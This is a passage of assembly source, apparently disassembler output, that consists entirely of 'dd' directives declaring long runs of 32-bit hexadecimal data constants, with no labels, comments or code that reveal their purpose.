		dd 0A8A022EDh, 9935D6FDh, 0F593CBB6h, 2FF44A29h, 3C54A68Ah
		dd 97C6255Ch, 78D8EB7Eh, 2D0472Ah, 6C55E3A8h, 1C88325Ch
		dd 243221D5h, 0B06C0BEBh, 93BEF833h, 0FBF0F4E8h, 417ABE26h
		dd 0C7F177C2h, 1A4A6809h, 0E9CF48F3h, 0B4059AA2h, 9240508h
		dd 0D0FC0504h, 0BFE70B81h, 5EE96228h, 0C262F39Ch, 0C5F03F41h
		dd 0D43EB12h, 0CDADBEFDh, 0FE6D91A7h, 0FECA93C5h, 0D3DC1220h
		dd 877DA42Dh, 4A455178h, 8AA7A8F0h, 1F98D2EDh, 74CFC170h
		dd 783519Bh, 4420A539h,	1FFA167Ch, 0C1EF1F28h, 8F9C69B9h
		dd 3A0AF3F9h, 0E05C6A24h, 0D491014h, 8614C553h,	530142BAh
		dd 4042D3E4h, 99257DFFh, 6488A604h, 48CA855Dh, 1409D264h
		dd 649A2451h, 794D981Ah, 874814B7h, 0BF07F403h,	2915DD41h
		dd 0BE8FD30Ch, 0D2BBC39h, 190E9F84h, 79A0EFA3h,	3910E95Dh
		dd 0F8805B3Bh, 2A087E1h, 0A241A456h, 8E0018Dh, 0A4B99425h
		dd 0E2E00262h, 49D4AE9Fh, 5AD45172h, 2723C81Fh,	2D08FA60h
		dd 0EDEDE971h, 97E6827Ah, 0C8ADEF87h, 4B545F22h, 0D1F43B0Ah
		dd 194C12B3h, 0E4B95371h, 5FD8CC42h, 5E971616h,	38F0135h
		dd 0E74150CCh, 4115A28Ch, 0C1475752h, 314BD60Bh, 0F9C038EEh
		dd 6D6002A9h, 36E5483Fh, 0FE1428A8h, 1B8C79Dh, 83E8A422h
		dd 0BC77A539h, 9E463FB7h, 0D7011501h, 6DD29A8Ch, 83D1A998h
		dd 9A6B1988h, 0D4AEE838h, 2277E57Dh, 0C5F1060Dh, 717CC8B9h
		dd 9980B415h, 41CC6B70h, 342C6AE3h, 0FF01FACEh,	0A7665ADBh
		dd 0FA8E4508h, 849E208Ch, 1C055CF2h, 1A853A97h,	7D48345Ch
		dd 8024462Eh, 0C9F58D3Ah, 0FA8E194Ch, 4721890Fh, 8AA6A6E4h
		dd 5320A189h, 5C959CC4h, 0E8EBD05Fh, 0CDA04423h, 60C06780h
		dd 0DE8C5D48h, 0F862042Fh, 103046DAh, 214E02FCh, 1F8268EDh
		dd 4BD4742h, 0FC51340Dh, 17557150h, 440BAB28h, 0B2068708h
		dd 7C79D659h, 429DBCB1h, 49855A82h, 0C139C8DCh,	4FC54452h
		dd 0BC410043h, 0EEAC21C9h, 0CF0F9D27h, 0FAD4B176h, 104BED8Fh
		dd 7D6E043Fh, 7820FC4Ch, 603750EAh, 0B60213A0h,	41D83B87h
		dd 0A9CA374Fh, 0B1206FB2h, 6A1F87EFh, 756F7CFDh, 82A057D8h
		dd 82405DEAh, 0EC34A175h, 0F3BEFF0Eh, 529242CBh, 9205C7DBh
		dd 0C16F51C4h, 545C88A8h, 5516909Ch, 1607150Dh,	0E4936201h
		dd 85C47560h, 0D8CC1F95h, 52A84BEFh, 0CBF1B6E1h, 1F0536D3h
		dd 65D3E12Bh, 0AB833688h, 0DA6CA988h, 94AE01B7h, 5D02F4FFh
		dd 0D8752831h, 0EFE0874Ch, 0B6B9D668h, 65C1AACEh, 52184D3Ch
		dd 0A877276h, 4A0DBAA5h, 5D7A7D8Fh, 0A77D65Fh, 3BBD213Eh
		dd 72A1340Ch, 0B06B6656h
		dd 5448C959h, 0EEC439D0h, 45731AC0h, 0A8F43ADh,	56D96F08h
		dd 5830CC69h, 12526029h, 8049385Fh, 57B28E4Ah, 631C4ED8h
		dd 0B2970AFBh, 36911333h, 0B882390Eh, 85CE0215h, 1408E890h
		dd 3963F1D6h, 63068476h, 2587AC32h, 40B10A90h, 26B53203h
		dd 0A74A97FCh, 49C56912h, 0F8539B27h, 8A2C62FBh, 0C3E8B4D7h
		dd 9BF348Ah, 50E37910h,	9A152949h, 0AC5E04E4h, 2C0BEB94h
		dd 0DFE49076h, 8382C60h, 0D6347986h, 891889D1h,	0C6A85A34h
		dd 6841523Ch, 0A0DE282Ch, 0BACC910Ch, 2614462Dh, 0BA164C1Ch
		dd 0B4E879Eh, 0B5E1B4Bh, 7FC65AAh, 0CA7677BDh, 95753071h
		dd 0DA859804h, 0A0AB4722h, 886DA1DDh, 22AF2FB0h, 0BCDCBF94h
		dd 0D6EBDD63h, 0E8D67411h, 0D22CF291h, 0D39D411Dh, 0FB6CEBA1h
		dd 5C591AE3h, 0A70EDE4Fh, 0DD7EB5D5h, 2AE8F3EEh, 6AB8822Fh
		dd 69A66495h, 545824E3h, 2F0D97EBh, 4812DE28h, 0E5B98C97h
		dd 4C028362h, 0A6E22C4Dh, 15D89283h, 50197D11h,	2974A93Bh
		dd 0B4CDF6h, 0C901774Ah, 0FF870AF9h, 0CA9E9925h, 0FF528B15h
		dd 0E0F2A3Ch, 20C6D7E8h, 0DF5972AEh, 0BE2D0D45h, 0EBAB3276h
		dd 0B17A5082h, 0C8A1037h, 9C37A1Eh, 250BEAC4h, 842F00C8h
		dd 5C5407E0h, 0EBE36A10h, 42897E8Fh, 0C3C2E015h, 4ACEB3C8h
		dd 54774016h, 0C87E40C1h, 0FAC11D0Eh, 0D2503292h, 486B08ACh
		dd 4968009Eh, 14931F37h, 0BE786254h, 52240BA3h,	0A2F1148h
		dd 695AD17Eh, 0C2111748h, 4B10C027h, 6E12420h, 4C2F4485h
		dd 826E9BACh, 0B2B44B43h, 0D8F20881h, 0C777718Eh, 0A34A14D8h
		dd 9B78A588h, 0EDC11CB2h, 2106653Bh, 707E825Dh,	6789B7C7h
		dd 9F819B34h, 4C714AFBh, 7CFA922h, 0A40147F0h, 3067E14h
		dd 2B976EFh, 0D3624E4Fh, 0CB59539Dh, 0CA909738h, 4E285089h
		dd 55DA25CAh, 0A65713BEh, 17624207h, 3DFEDBDDh,	74A0DDh
		dd 5E1A024h, 957AEF35h,	0B0918BACh, 958AEB8Ah, 2F9C0FD7h
		dd 263340FBh, 7FF9437Ch, 0C0565104h, 0CA08AA59h, 0BE305427h
		dd 467B9026h, 34DC37D7h, 72500177h, 73F574B2h, 6144F5D9h
		dd 0A9D0305Fh, 0A2780AAh, 218A9745h, 240BCCE2h,	0E6850489h
		dd 3BF9ECFEh, 0E59403E3h, 380A833Eh, 81FDA691h,	4BFDD120h
		dd 0F8E2C621h, 94C18073h, 9C0750C4h, 0E0284DAFh, 640B458Ah
		dd 4B419CC1h, 3DA3AF69h, 44F7138h, 0EBAB0136h, 58565C05h
		dd 7669AFDAh, 4C2F5554h, 0F97E4059h, 3510A82Fh,	1578CAEBh
		dd 80678C45h, 0DA1FA0FCh, 0A87FE90Fh, 4C29C43Fh, 5597907Bh
		dd 9D1A35F2h, 0A75FF993h, 0A6E9425Fh, 11432F48h, 42E8DFC2h
		dd 656DA14Dh, 1943929Ch, 0B89E13F3h, 0CE06F0F9h, 6A819C52h
		dd 65806FA3h, 9B45665h,	0DEA5D39Ah, 4140A01Ch, 0C20683F5h
		dd 0E971934Ah, 8A041932h, 7E173A52h, 8D721098h,	3BDA8FEh
		dd 3A09E764h, 1F1BC941h, 16AE1EECh, 25604DECh, 0E827F82Ah
		dd 0F33E6031h, 9681DBF0h, 80910BADh, 0E21261A3h, 1DCC22AAh
		dd 0C913CB70h, 8224F06Ah, 2842C139h, 29991E7Eh,	0BD75596h
		dd 58E09503h, 0C8D59902h, 0FE297386h, 8D97C8BCh, 0E710B2AFh
		dd 18C66186h, 0F5D82EE8h, 8F4A12F5h, 0CB2F603Ah, 6D3F1130h
		dd 9F97949Ah, 0C95974h,	13882930h, 96FD001Ch, 0A8669FDEh
		dd 899AB6E1h, 4D9D220h,	589C4A10h, 118316E4h, 0EDD278F6h
		dd 3EE36141h, 0BADDD0ECh, 4CBFF676h, 77BE9783h,	76B03941h
		dd 0C2ED9DB6h, 61903C18h, 0BC9D5F7Eh, 0C9ABFC3Ah, 8B52FB2h
		dd 96B9D650h, 6E6229Ah,	97B0E35Ah, 6380532Eh, 89853D4Dh
		dd 278597C8h, 63D44893h, 97AF820h, 4BCC47BAh, 0A5C8E200h
		dd 3144483h, 68B249ABh,	14EBDFC1h, 0E5FE852Eh, 0F65DCAA1h
		dd 1AEB1517h, 63A46527h, 0DDA20B52h, 78752093h,	3FF1FC1Bh
		dd 0A320F881h, 4A56069Fh, 29EA2322h, 5A1494D1h,	0D9255C8Dh
		dd 1AA89021h, 8046A901h, 0E4A18D7h, 7CA0CE96h, 0C4E8EFE3h
		dd 754F2D2Bh, 701CC0B9h, 55FC3477h, 13DA71F8h, 4D2108B7h
		dd 8571041h, 998A361h, 6CD2DE77h, 0FCAC8754h, 16035F85h
		dd 4BAAF404h, 4CBD2392h, 4D7EA8C7h, 1B858FE4h, 0C57496AFh
		dd 6A75A34Bh, 5DFB8C2Eh, 315F1082h, 5DCA1425h, 64AC8AAFh
		dd 8EEAD53h, 8A873F64h,	5A07E414h, 43E0B2EEh, 0E4CCAB92h
		dd 0E2AD8A18h, 8FC7AE7h, 7007B150h, 0FC1F0597h,	12F50AF7h
		dd 26FC6E25h, 0FB700E64h, 5F682522h, 0D907E417h, 0A5F718D4h
		dd 0BB8343E3h, 42FA40F2h, 439C6CD1h, 76C1CF8Bh,	0BBF2C09Dh
		dd 5AB9948Eh, 4F97FC5Dh, 7564A1A2h, 539CD0E2h, 663B1395h
		dd 0DC33925Eh, 290316BEh, 0F97707C1h, 0DE00ED4Eh, 9D8E2F71h
		dd 363E1270h, 5570840h,	8AC89A67h, 368A2267h, 1FC652BFh
		dd 4043EB57h, 4055079h,	9DDCF705h, 465474CFh, 0CABB7E40h
		dd 57DA43Bh, 90C23A56h,	0BF838502h, 17D8E048h, 3143A2FFh
		dd 1175DC0h, 6B670Dh, 0FCCE9ECFh, 0D925A303h, 0C39FAF7h
		dd 60ECAF93h, 40327EAEh, 75109398h, 0BED383FCh,	0A77C9C0Fh
		dd 188514EFh, 1760F12Ah, 141614E0h, 278F9380h, 83124BACh
		dd 7A7B462Dh, 0D043DF5Dh, 53A79004h, 5308C0A2h,	9EE4B914h
		dd 2A24893Eh, 8D45D14Ch, 91E9BA7Bh, 14C33048h, 0A7B9EE3Dh
		dd 3A582243h, 0F7632448h, 5BAA4BFh, 48E80A4Fh, 38DC759Ch
		dd 0D312AE2h, 0D89AB544h, 62D16A46h, 155731D5h,	0CBAA50B5h
		dd 0BB813349h, 658B9093h, 0D5B607h, 0BBE9AD6h, 1425479Ah
		dd 0D241C975h, 21741D42h, 68927784h, 21B0973Ah,	40A243B2h
		dd 0E0E299F2h, 0E5B61F94h, 0ABA6FF2Eh, 0A3124D69h, 0C2B6B501h
		dd 3202F5F4h, 0F55F0E60h, 7F79E2EBh, 8B90790Eh,	0F33B148Eh
		dd 0E63CC32h, 9185F928h, 0F054BF78h, 0D0F8E886h, 0D02D2793h
		dd 9583A3ABh, 0E65A59C6h, 0B5411D5Dh, 1D2DEBEAh, 776A1557h
		dd 8DC95CA5h, 0DD813155h, 2095EF61h, 18C6E5Bh, 79E95F5Dh
		dd 0F07F4C59h, 0A80D2B04h, 0E77C25F6h, 83DD542Eh, 6AAD30B1h
		dd 3E792955h, 0B9774174h, 0E3C1F51Dh, 59C460B4h, 0BCFF207Fh
		dd 0B65A7AEBh, 0A05C89BBh, 0C7826263h, 567F5E3Fh, 0BCA5CA1Dh
		dd 507AEACAh, 2E670C2h,	7E459896h, 0EBF2B8BDh, 139AA9E7h
		dd 0AC39A613h, 44EA2C22h, 3C04077Eh, 9095B0CEh,	805839AEh
		dd 626A773Bh, 27C8262h,	1009D9E6h, 334AA1A1h, 68C0A37Bh
		dd 9E7F1B86h, 0E8549BEBh, 53B1E0EEh, 0B866421Fh, 10D43121h
		dd 16893CBEh, 0BB6F6513h, 94D083E3h, 1EA24B5Ah,	28BC7083h
		dd 6AFE96C4h, 0BA4613Bh, 0E4124E51h, 0C07EC95Fh, 1798EBA9h
		dd 0BCF8E407h, 38D4C849h, 0BE9F94C1h, 2B372FFBh, 0F786F0DAh
		dd 0BC0BD89Fh, 0F0CA14A5h, 0CE9C8541h, 0CFD92E7h, 212153C6h
		dd 945405FAh, 0FE020D42h, 435FC887h, 546A519h, 65724E22h
		dd 6AE4A084h, 8CB4E9F9h, 0AE8A932Bh, 18097C67h,	411DFE7Eh
		dd 86AEC026h, 0D8F3FB6Ch, 8974B684h, 2B9E62CDh,	491F7D31h
		dd 707FABEBh, 0D5277815h, 114F20EFh, 61A9C5B3h,	0D075EAE8h
		dd 0B47C1A10h, 0ACF42D02h, 0C7622F6Ch, 46DC2915h, 42A1A066h
		dd 0DDC0AB43h, 0A706B7E6h, 0DA06F86Eh, 0DA2A8188h, 95E10CA0h
		dd 89E48EF5h, 6481998Dh, 56708A8h, 82B18D10h, 2C1D5C33h
		dd 0CD174A60h, 0C59EB906h, 0C3265639h, 52A95717h, 0B3CB9C5Fh
		dd 0F0C3E223h, 774BF195h, 35F4342Bh, 0F24DF551h, 71185CFFh
		dd 6819CC1Eh, 87707F08h, 0C9C56285h, 0C13EA2EFh, 0E0B54DF6h
		dd 2C9B8213h, 0B9C93872h
		dd 943F4F57h, 0D4C7FDCEh, 0F3A99F45h, 0C0B10CBBh, 7AEBC1F3h
		dd 659CB048h, 0A1503B93h, 0D7645BD2h, 0E81F77E6h, 5664A58Fh
		dd 1A3EFAAFh, 3CD31729h, 0CAB63AEh, 35D5E80h, 0EF82F7D9h
		dd 43401751h, 0DDC5A24Bh, 3D986969h, 0C5DB2317h, 0A3872EA0h
		dd 576E57EFh, 0FF5C6A81h, 8E38B2DFh, 8E5A5694h,	0C89FF050h
		dd 7F876F5h, 0A3498A9Bh, 8313BC2Ah, 803CC5D1h, 615EAB36h
		dd 640DECCBh, 0AFE53E9Ch, 0CAD931D0h, 0EC5F1B78h, 0E81A731h
		dd 92311AE9h, 0B039F140h, 0C9A275FCh, 12BEF21Bh, 5F8A4E10h
		dd 0AC053143h, 544D0542h, 0D1320BE9h, 0B1F503B7h, 0B9B8B9F3h
		dd 0E69D5573h, 4AAA683Eh, 0A0482307h, 21F5ABB1h, 57F02642h
		dd 761CE289h, 518B411Dh, 0DC9E2B80h, 92730117h,	0AC4E2702h
		dd 0E99C87EBh, 0E001F8ABh, 88D119BAh, 9702278h,	5FCB943Fh
		dd 402C510Eh, 0B016E215h, 21813E9Fh, 0C9B9FB0Fh, 6473B0E3h
		dd 76EE9150h, 1528B91Fh, 19AA0ED0h, 0D52BDBC7h,	30BCBFFDh
		dd 1576B0E2h, 5A55FB9Ch, 822AB6BEh, 0FC057DC6h,	717CDE66h
		dd 547A77Ch, 0B71A7D68h, 2C9BDE58h, 158E8092h, 0A3EACEADh
		dd 53ABFE0Dh, 0DE6A8949h, 321DEFE9h, 0A5CB06ECh, 0BC3CE31h
		dd 0FBF4A437h, 808D2B09h, 2ACF3476h, 0ACB1F5D8h, 2878FE32h
		dd 891A5933h, 0ED260C32h, 404F82Fh, 28958045h, 91BF30A0h
		dd 0D0163A0h, 148EA4CCh, 0F1692072h, 0F0AA37D4h, 0B9D6F5C2h
		dd 6FE4CCBh, 0A8F97822h, 0C0401899h, 0E55D7DFAh, 75D230D5h
		dd 1583E641h, 0AFA5484h, 0E221E067h, 8E4A7DB5h,	7B20035Dh
		dd 0E3370452h, 890882E4h, 8C4848A9h, 0E61F0F43h, 16EB9120h
		dd 0AF0B5C61h, 0F2554F93h, 0C484148Bh, 6D556BA2h, 7FC5D688h
		dd 10AB0231h, 58117AE9h, 735D38BBh, 0D86C20B5h,	0F4B465C1h
		dd 73441572h, 0C92A735Fh, 9CC877D8h, 9E340AAFh,	0A0211CD5h
		dd 6549144Ah, 465329C3h, 2883753Dh, 823CC5DCh, 6692989h
		dd 0D4463E3Ch, 955FDC5Dh, 975D700Eh, 0AD1DB89Fh, 0D2939D10h
		dd 42305F6Bh, 74A08DA8h, 0D95313A1h, 8E88BAF9h,	0AC22957Dh
		dd 0C5DA60Ch, 7DBEA352h, 0BB699DFDh, 0D02517Dh,	0B41E2FDAh
		dd 0E4BF6B70h, 4751105Bh, 0E014CD48h, 6300103h,	2FE9F19Ah
		dd 0F30414EDh, 27B43280h, 0FC14002h, 1851DA7Dh,	6EBA748Ch
		dd 3D0605A5h, 0B2734CD8h, 0EC22408Bh, 0AFD07CA0h, 82816E11h
		dd 4378C03Bh, 61F0B1A8h, 0A795CAE2h, 0DFE45AFh,	792348Ch
		dd 7EFA0980h, 0D703F068h, 0A626E67Bh, 636EC580h, 0A777EBE4h
		dd 0D0C158D9h, 0EBF458A5h, 0DE09AFF1h, 586B14DDh, 2F27C7Dh
		dd 2BC814E3h, 0CC39F08h, 41B62D31h, 0BBC68EABh,	12230EF2h
		dd 181E4457h, 5661688h,	1031D4C2h, 4DEB50D4h, 0BAAAB3E2h
		dd 9A0C51A8h, 2447DCF7h, 0B034FBB2h, 57D0F74Ch,	7AF23E14h
		dd 82DE4CF2h, 0ED33CAE1h, 2BE87880h, 55E46028h,	0C0847781h
		dd 0D7176E3Dh, 62E922B2h, 0FE54699h, 3E04114Ch,	484265B6h
		dd 0AEB11214h, 8E111224h, 0FB77084h, 31382F11h,	2C877443h
		dd 0DA10857Dh, 4265DF9Fh, 93E98465h, 0D56D1555h, 0D06352BFh
		dd 0D1B722C5h, 65338A6Dh, 962FD5B3h, 80A9E6D3h,	39712E31h
		dd 189C55F4h, 5D2BAA61h, 684C5155h, 45D586E6h, 2EEAF58h
		dd 0F8C1D92h, 5F1B4724h, 0AFB8A132h, 9A35DCA8h,	8740DE14h
		dd 0D57F290Ch, 0FF86F944h, 7BB29531h, 0E5D24853h, 0DA209A0Ch
		dd 0BF544FD5h, 9F5E522Ch, 8018C955h, 18C280A3h,	0B708B329h
		dd 6609F6F1h, 228325FAh, 750D1F85h, 600D2FABh, 82D05634h
		dd 0F16906Ah, 0BAA7040Ch, 6855F3BCh, 60305EB8h,	0CF592DE1h
		dd 80932FFDh, 3C297125h, 0DF367DDBh, 0DE283B83h, 464235EAh
		dd 0DF2E1017h, 0E28B09B8h, 4452BF10h, 0A100DD94h, 0AB6E039Bh
		dd 38389A80h, 0F9284B33h, 92BAAEA9h, 4B2D7605h,	0ED6B19Bh
		dd 0FDBC1905h, 512BECAEh, 4E65D56h, 5116BE41h, 0C5661157h
		dd 12A0EE3Bh, 10FE34BFh, 619295E3h, 0E7DDD9E7h,	83AC8C01h
		dd 41182C51h, 10CB6237h, 4406CEC3h, 9FF1E0E3h, 2F88D01Ch
		dd 3F8012E0h, 323D006h,	108AA470h, 57981530h, 0C2482A29h
		dd 0B088EBFBh, 0F4F311CEh, 88436966h, 54CCCAD4h, 40A739CFh
		dd 0C045AE0Fh, 0C0DF423Dh, 529E1A76h, 852B96FDh, 77328802h
		dd 4686D107h, 0BBB5A77h, 0D9505CE3h, 0CBF56201h, 2211578Fh
		dd 0BAA200ADh, 0E8157F2Ah, 95DDB94Ch, 0CD4AA8D5h, 0E87F9A53h
		dd 0D68B57FBh, 38079A67h, 5AD36581h, 15D32204h,	50F53D3Dh
		dd 12C0D961h, 6268E9D4h, 37EA50EEh, 3596ED71h, 0A20D5E3Ah
		dd 4133DCEEh, 59E5D4F7h, 3BF2033Eh, 0F07FA858h,	721CD9E4h
		dd 46BA150Ah, 7CAD9907h, 9FEEC915h, 18510BC7h, 0ED82EAE9h
		dd 4FF28A15h, 3B28FF56h, 159580A8h, 0E851025Ch,	99F4C555h
		dd 41766D7Eh, 0DB99DEEh, 95876BA9h, 0C54643F0h,	94F42B49h
		dd 0D2171004h, 0DDB08140h, 73275867h, 0DBB2D1DCh, 0E209809Ch
		dd 4C4CC915h, 0F1FD8DBAh, 0F46E8747h, 0D5E76D41h, 1854282Fh
		dd 54B2FEEFh, 553A7E47h, 0F7856F92h, 88C6B308h,	5C7B253Eh
		dd 96BC25D0h, 3EA8F916h, 17AFFC45h, 914532C9h, 77084C20h
		dd 3F74B483h, 0BF6AC612h, 4CCAA431h, 0C5B59923h, 0F19B4358h
		dd 0E2905957h, 17040A5Fh, 0DFD5487Eh, 0C784324Ah, 79C9F307h
		dd 0C5D655FDh, 8D74C958h, 4F1E70C7h, 0A84DB0B2h, 0D1BDAA08h
		dd 16F53248h, 0AF255065h, 0A471CE58h, 3582C70h,	0F04BA16h
		dd 0AC397FDAh, 17CF5804h, 567FC050h, 6872C9C2h,	2CD75BE9h
		dd 0FFC07118h, 58EC4C45h, 3D0A4C79h, 0D20A22CAh, 0EAD2FE5h
		dd 0E62FBA50h, 57225228h, 49C8AD26h, 75C32556h,	7809A559h
		dd 75999177h, 0D23EBD54h, 34B56A45h, 0B46852EBh, 0A2D94071h
		dd 4EDA4541h, 0F27AAE71h, 0D3A3A6F3h, 34CECCB0h, 0B3F5D31Eh
		dd 0C48C4133h, 0F888D5C4h, 5254117Fh, 7C6575D9h, 0EBB364BDh
		dd 84E0B46Bh, 5943B007h, 2885756Fh, 9BBF2BECh, 95658D15h
		dd 0E621AC68h, 6A71BD91h, 30E755Ah, 1ABDECA0h, 191A247Bh
		dd 42502965h, 77D29ABh,	0BAEDA145h, 0ECC5526Ah,	0CFA1D56h
		dd 0B376BECCh, 0B8FC06B2h, 0D80488BAh, 1DE38F35h, 562969F8h
		dd 0EE925195h, 56EE8941h, 0B049B0BCh, 577E4918h, 0D6BA1A2Ah
		dd 0FA83529Fh, 0F4536AB3h, 0AD3AB8B0h, 90C216BAh, 7F638B07h
		dd 0D9D32FBFh, 65584D0Bh, 0BAF1FA89h, 0BDEE3A46h, 74EC15C5h
		dd 75BA2A85h, 0BDF21A2Eh, 0A05F9979h, 9C358EADh, 882AE84Dh
		dd 32AAE14Fh, 45762290h, 1798449Fh, 4AB100B0h, 87DA4092h
		dd 3322B58Fh, 5AF80740h, 2D441F5Ch, 0E6E9DF48h,	5C685A09h
		dd 36BE4F65h, 0D1C75A12h, 69D770C2h, 0C19344B9h, 10ACB0Eh
		dd 614A963Fh, 7ADBFF8Eh, 0ABAA1C12h, 38540956h,	147C644Fh
		dd 0C8F29440h, 9DF26F15h, 0F858F904h, 79531715h, 6B1C37EEh
		dd 0E7C99F3h, 3CE0B812h, 0B9135BB7h, 33873C94h,	39FC5186h
		dd 60647489h, 1411D0B4h, 51068824h, 628C220h, 111436F2h
		dd 0D027AA62h, 511D6838h, 6ECA94B9h, 0B279312Dh, 431D8C7Ch
		dd 92875654h, 86A40F78h, 0DE037C3Dh, 366DC3BCh,	0A62A370Fh
		dd 0DE550B1Ah, 465D958Ah, 460B56CEh, 0E7563719h, 0C214509h
		dd 38417236h, 0D71F79FDh, 0FDFA9CBAh, 2452B1C8h, 59203AB2h
		dd 9C159903h, 581CA84Fh, 0DA364B1Fh, 10522EB0h,	0AB320F87h
		dd 8A3362F1h, 0D2EEA34Fh, 753863D7h, 3C74F782h,	0FF2EE039h
		dd 713C816Ah, 0A540D1F4h
		dd 0CD13060Eh, 0A510150Ah, 40532EB6h, 0B28734C4h, 580A00A0h
		dd 1EC37A96h, 597DC72Bh, 3B6F6FD7h, 358B3C89h, 0C6528FFAh
		dd 0F09D1BF2h, 3CEEC749h, 0B4AF8384h, 0E735DF7h, 6ED3C4E6h
		dd 2FF71EAFh, 220BB6C6h, 7863C6CBh, 7A289011h, 0E4C5ECC3h
		dd 77C9D8AAh, 104A728Ah, 0A47FA0B9h, 1031F65Fh,	1F7DFBB2h
		dd 5C9855FAh, 0C771588Eh, 0C127E8D1h, 7FEEECE1h, 0A2212119h
		dd 0DC1F8167h, 0D7BDF39Ah, 250B4BE3h, 74C2B77Dh, 28633AA5h
		dd 0D2CF4B96h, 2CF7C0B3h, 6F82ECA4h, 8617D084h,	0D936CF12h
		dd 93A5BF0Ah, 0A6C400A2h, 203D214h, 0E6B9A1BFh,	0F25EBCEh
		dd 8FB7AD12h, 0F0597818h, 0BFC7FB43h, 0B07C04Ah, 0E527155Dh
		dd 359454C9h, 5C55951h,	1A78BB66h, 5C86C827h, 0B0389211h
		dd 0F12552ACh, 0C5AFE448h, 95662446h, 62E0AE1Eh, 0CCF0A668h
		dd 7014EF37h, 51948D62h, 6A243F7Bh, 0AF493F26h,	67E21982h
		dd 0AE9ECE6Ah, 1205A6E6h, 0C559CE1Ah, 7DB5E855h, 0D91F4117h
		dd 0F5A27453h, 0A5CE1E59h, 0C617998Dh, 831B26A2h, 29BBA805h
		dd 24187CDFh, 0EFAF5AF9h, 607FB88Ch, 47DA748Dh,	21235265h
		dd 0FA77247Eh, 0DA81EB4Eh, 97CC2857h, 0F3E12055h, 48DF9A4Fh
		dd 141A66BAh, 55ABDE69h, 56D70BA4h, 0E7AEEBA9h,	8F362A09h
		dd 268ED411h, 2AC3020Eh, 74A91057h, 24C8B28Dh, 67522F94h
		dd 3559DDE5h, 0A4F8E52Ch, 9F258A5Dh, 0AE72BA8Ah, 7C374A10h
		dd 6F168BB9h, 116A8156h, 93778E54h, 0FB0C895Eh,	4C375EB8h
		dd 0EDDA0A09h, 0FF8BC363h, 564183CAh, 0A7D5E95Dh, 0A05EA611h
		dd 0E01529DEh, 0FF4315D4h, 77E68CEFh, 0FF95D707h, 2535F526h
		dd 0AA374F04h, 5F15B6AAh, 716DF05Bh, 0A08A6206h, 31FB84C2h
		dd 50560505h, 520DF546h, 23849C52h, 5356FB44h, 0ADC3ABE4h
		dd 1B07461h, 953A55F0h,	0DDDC64E0h, 8AAB8BFFh, 14450490h
		dd 0FD79624Bh, 6FB72DAAh, 6C404820h, 0BA0A11D0h, 0EB55FF76h
		dd 163E2179h, 54A5F049h, 0EBB5372Ah, 8E144422h,	0BEF09537h
		dd 0F926308Ah, 0E5E06A2Eh, 55557766h, 7FE52542h, 0FA652579h
		dd 0E81FEC7Dh, 1AAB4AB2h, 5D67541Ah, 4BEBAC22h,	8A621532h
		dd 0B4DA3996h, 4565C272h, 0C0D02CAAh, 0F4260FA9h, 55798C4Ch
		dd 571EBD71h, 0C3FD7568h, 0C50D0A09h, 0A74539AEh, 9338C897h
		dd 0A502C932h, 0BAFD8C05h, 95CC77CBh, 2BE0B07Ch, 0C58229h
		dd 0B9CAD20Fh, 6107F602h, 3C9A0F00h, 9DF062AFh,	46FBB175h
		dd 1796C083h, 48317DE6h, 3A6D908Ch, 0E1B0250Fh,	67261067h
		dd 0AD572F16h, 2495BA01h, 0E5E254B4h, 2E0835B7h, 2AAB1FFh
		dd 8A772716h, 7852FC64h, 72571D65h, 0ABC1118Ch,	563EEA1Dh
		dd 6E533E9h, 0D127E486h, 0E91737C6h, 0BBC4F089h, 0A7157B50h
		dd 11EBD41Ah, 0C722FC5Fh, 0BAE17239h, 725AA348h, 9159C8A0h
		dd 823DB3E0h, 651C7F12h, 1F4FD508h, 7F0BC842h, 41445C0Ch
		dd 0AADF0DA1h, 18A89EA4h, 1DFC32C9h, 13828748h,	50BA014Fh
		dd 108FB4D6h, 0D1170AA3h, 8568B214h, 382A21BCh,	0E4124021h
		dd 12C8AA31h, 0BB45E929h, 24C7E20Fh, 7C66D4D0h,	5161E9D2h
		dd 2C0F6639h, 15AF2BEBh, 89390BF5h, 9D16B3E2h, 2E9C4212h
		dd 8F064CFAh, 0C1F165ABh, 0B8D36BE4h, 2F91A11Eh, 3A0160BAh
		dd 783802EAh, 27294B41h, 89A4AB33h, 2EB086A4h, 0F5C126B6h
		dd 2984010h, 24559A27h,	9402F36Eh, 20EF74E7h, 0B21E1575h
		dd 0EB0897AEh, 7DB2204Eh, 855CD43h, 0F829C1D1h,	440C71F6h
		dd 29543B91h, 46B4A95Bh, 0AFD2E2AAh, 7B17DAC0h,	0E09501Eh
		dd 2804655Ch, 1D0CD836h, 0C3FF76D2h, 41D06AC3h,	0B34FC405h
		dd 46173102h, 475283E2h, 5140C5C1h, 28DBE9D4h, 17509623h
		dd 23B5414h, 0B9DF1BBFh, 0C9E0F644h, 1B96A7A2h,	6FE2BBCEh
		dd 0D3BB505Bh, 0A82C9F85h, 53F0C783h, 2976C613h, 955D97FCh
		dd 780D8A84h, 0BADF7F9Ah, 72084EA9h, 4A794672h,	142087AEh
		dd 77947BDDh, 0D62CAA15h, 0E1B2D3D8h, 7DFBBECAh, 0B48C8D6Dh
		dd 2BC5D1BFh, 8E3A3F54h, 26D17236h, 40C029BCh, 68A156D1h
		dd 5741592Eh, 2D0844CCh, 262314F8h, 48B74327h, 65F00AE8h
		dd 19A61B1Bh, 0FE6E3D2Eh, 3C12FF1Fh, 0FBD665EFh, 92845843h
		dd 399B9805h, 1F9C953Ah, 0F9861608h, 57F61977h,	0D0A3FE11h
		dd 58DD85E7h, 3D9C1CE4h, 0F2AF517Eh, 0DD67E907h, 73738BFCh
		dd 0B39C4E9Ah, 1B92946Ah, 0BA6BE8BEh, 9A230738h, 15635444h
		dd 0F051D6A8h, 0ED39460Ah, 38E41772h, 138FE453h, 0BF5D53BDh
		dd 41D1F7DEh, 92048C26h, 34318F23h, 229A4882h, 4F301C8Ch
		dd 82BFB229h, 34723FFFh, 7579A5E9h, 5A45DF56h, 50B5A8BAh
		dd 0A9BC927Fh, 0DA8411A9h, 0CD18A55Ch, 445618E5h, 9A9344BAh
		dd 5BAD5D4Ah, 0C4A18D20h, 81C38F2Dh, 5EE46BAAh,	60698363h
		dd 0A7145103h, 0DB51186Ch, 9A8F7396h, 0A8F5545h, 44123B53h
		dd 6A2C2DA3h, 69CF8636h, 625641CBh, 0E79A9B6h, 2B24C496h
		dd 75EB4B4Ah, 6CEC1D55h, 53EC29FFh, 0B92439C7h,	0E17BF622h
		dd 42384653h, 0F7C3EDEBh, 605F9F3Eh, 752A28AAh,	22F095A5h
